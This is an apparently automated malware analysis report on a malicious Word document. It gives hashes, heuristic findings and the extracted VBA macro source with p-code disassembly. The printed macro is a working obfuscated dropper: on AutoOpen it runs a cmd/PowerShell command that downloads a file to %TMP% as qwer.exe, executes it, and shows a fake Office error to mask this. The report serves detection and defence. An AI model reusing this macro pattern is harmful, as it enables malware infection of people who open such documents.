Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cdea02fec80fa36f…

MALICIOUS

Office (OLE)

77.5 KB Created: 2016-11-09 18:56:00 Authoring application: Microsoft Office Word First seen: 2016-12-09
MD5: d2ccfef471f49ceb74d45b46357b6789 SHA-1: 1a1fcda57404ab4172cbb759eec5abfd1df1b3ff SHA-256: cdea02fec80fa36fdaecada0d347abb3fd2d4077628ea47ca993c4ce30f163e0
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen function that executes a Shell command. This command constructs a URL to download a file named 'cbk.mdk' to the temporary directory as 'qwer.exe', and then executes it. The macro also displays a fake 'Microsoft Office' error message to the user, likely to mask the malicious activity. The ClamAV detection and critical heuristics for Shell calls in VBA strongly indicate a dropper functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-1832544 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1832544
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    kgjh = iftjifg + fighjf + vcjbgfplh
Shell "" + kgjh + " /c " + gfhjjh.igjhfpipt + gfhjjh.oiftjutor + gfhjjh.pofkghklfg + " (New-Object S" + gfhjjh.yjvhvbn + "m.Ne" + gfhjjh.zxcsef + "Cl" + gfhjjh.opiokhgjk + ").DownloadFile('" + gfhjjh.gfljipo + gfhjjh.vigjrptu + gfhjjh.mvbjhiu + gfhjjh.zxhcz + "cbk.mdk','%TMP%\qwer.exe');Start-Process '%TMP%\qwer.exe';", 0
MsgBox "Word has encountered a problem", 16, "Microsoft Office"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
gfkfgphk
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3004 bytes
SHA-256: 254fe2b33c92b7e51e04b9c0278108d8ed430b5efabc7cee4ed83cab4d60d64d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
gfkfgphk
End Sub
Sub gfkfgphk()
oifhgnlsdghilsdf
End Sub

Attribute VB_Name = "fdsdfg"
Sub oifhgnlsdghilsdf()
iftjifg = "c"
fighjf = "m"
vcjbgfplh = "d"
kgjh = iftjifg + fighjf + vcjbgfplh
Shell "" + kgjh + " /c " + gfhjjh.igjhfpipt + gfhjjh.oiftjutor + gfhjjh.pofkghklfg + " (New-Object S" + gfhjjh.yjvhvbn + "m.Ne" + gfhjjh.zxcsef + "Cl" + gfhjjh.opiokhgjk + ").DownloadFile('" + gfhjjh.gfljipo + gfhjjh.vigjrptu + gfhjjh.mvbjhiu + gfhjjh.zxhcz + "cbk.mdk','%TMP%\qwer.exe');Start-Process '%TMP%\qwer.exe';", 0
MsgBox "Word has encountered a problem", 16, "Microsoft Office"
End Sub

Attribute VB_Name = "gfhjjh"
Attribute VB_Base = "0{790B8015-BC31-4639-919A-09656E76343B}{134F2AC7-0966-441F-87C3-E8B5CB0FAD8D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/8fb476f4ed4748389d99329d91968944.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1968 bytes
' Line #0:
' 	FuncDefn (Sub ghopjopjhfgo())
' Line #1:
' 	ArgsCall zxhcz 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Sub zxhcz())
' Line #4:
' 	ArgsCall dflg 0x0000 
' Line #5:
' 	EndSub 
' Macros/VBA/fdsdfg - 3230 bytes
' Line #0:
' 	FuncDefn (Sub dflg())
' Line #1:
' 	LitStr 0x0001 "c"
' 	St vcjbgfplh 
' Line #2:
' 	LitStr 0x0001 "m"
' 	St _B_var_iftjifg 
' Line #3:
' 	LitStr 0x0001 "d"
' 	St _B_var_kgjh 
' Line #4:
' 	Ld vcjbgfplh 
' 	Ld _B_var_iftjifg 
' 	Add 
' 	Ld _B_var_kgjh 
' 	Add 
' 	St _B_var_vcjbgfplh 
' Line #5:
' 	LitStr 0x0000 ""
' 	Ld _B_var_vcjbgfplh 
' 	Add 
' 	LitStr 0x0004 " /c "
' 	Add 
' 	Ld TextBox3 
' 	MemLd _B_var_kgkhgjof 
' 	Add 
' 	Ld TextBox3 
' 	MemLd _B_var_ыги 
' 	Add 
' 	Ld TextBox3 
' 	MemLd jgfpj 
' 	Add 
' 	LitStr 0x000E " (New-Object S"
' 	Add 
' 	Ld TextBox3 
' 	MemLd iftjifg 
' 	Add 
' 	LitStr 0x0004 "m.Ne"
' 	Add 
' 	Ld TextBox3 
' 	MemLd fighjf 
' 	Add 
' 	LitStr 0x0002 "Cl"
' 	Add 
' 	Ld TextBox3 
' 	MemLd vcjb 
' 	Add 
' 	LitStr 0x0010 ").DownloadFile('"
' 	Add 
' 	Ld TextBox3 
' 	MemLd id_02AC 
' 	Add 
' 	Ld TextBox3 
' 	MemLd id_02AE 
' 	Add 
' 	Ld TextBox3 
' 	MemLd id_02B0 
' 	Add 
' 	Ld TextBox3 
' 	MemLd id_02B2 
' 	Add 
' 	LitStr 0x003A "cbk.mdk','%TMP%\qwer.exe');Start-Process '%TMP%\qwer.exe';"
' 	Add 
' 	LitDI2 0x0000 
' 	ArgsCall _B_var_ghopjopjhfgo 0x0002 
' Line #6:
' 	LitStr 0x001E "Word has encountered a problem"
' 	LitDI2 0x0010 
' 	LitStr 0x0010 "Microsoft Office"
' 	ArgsCall kgjh 0x0003 
' Line #7:
' 	EndSub 
' Macros/VBA/gfhjjh - 1539 bytes

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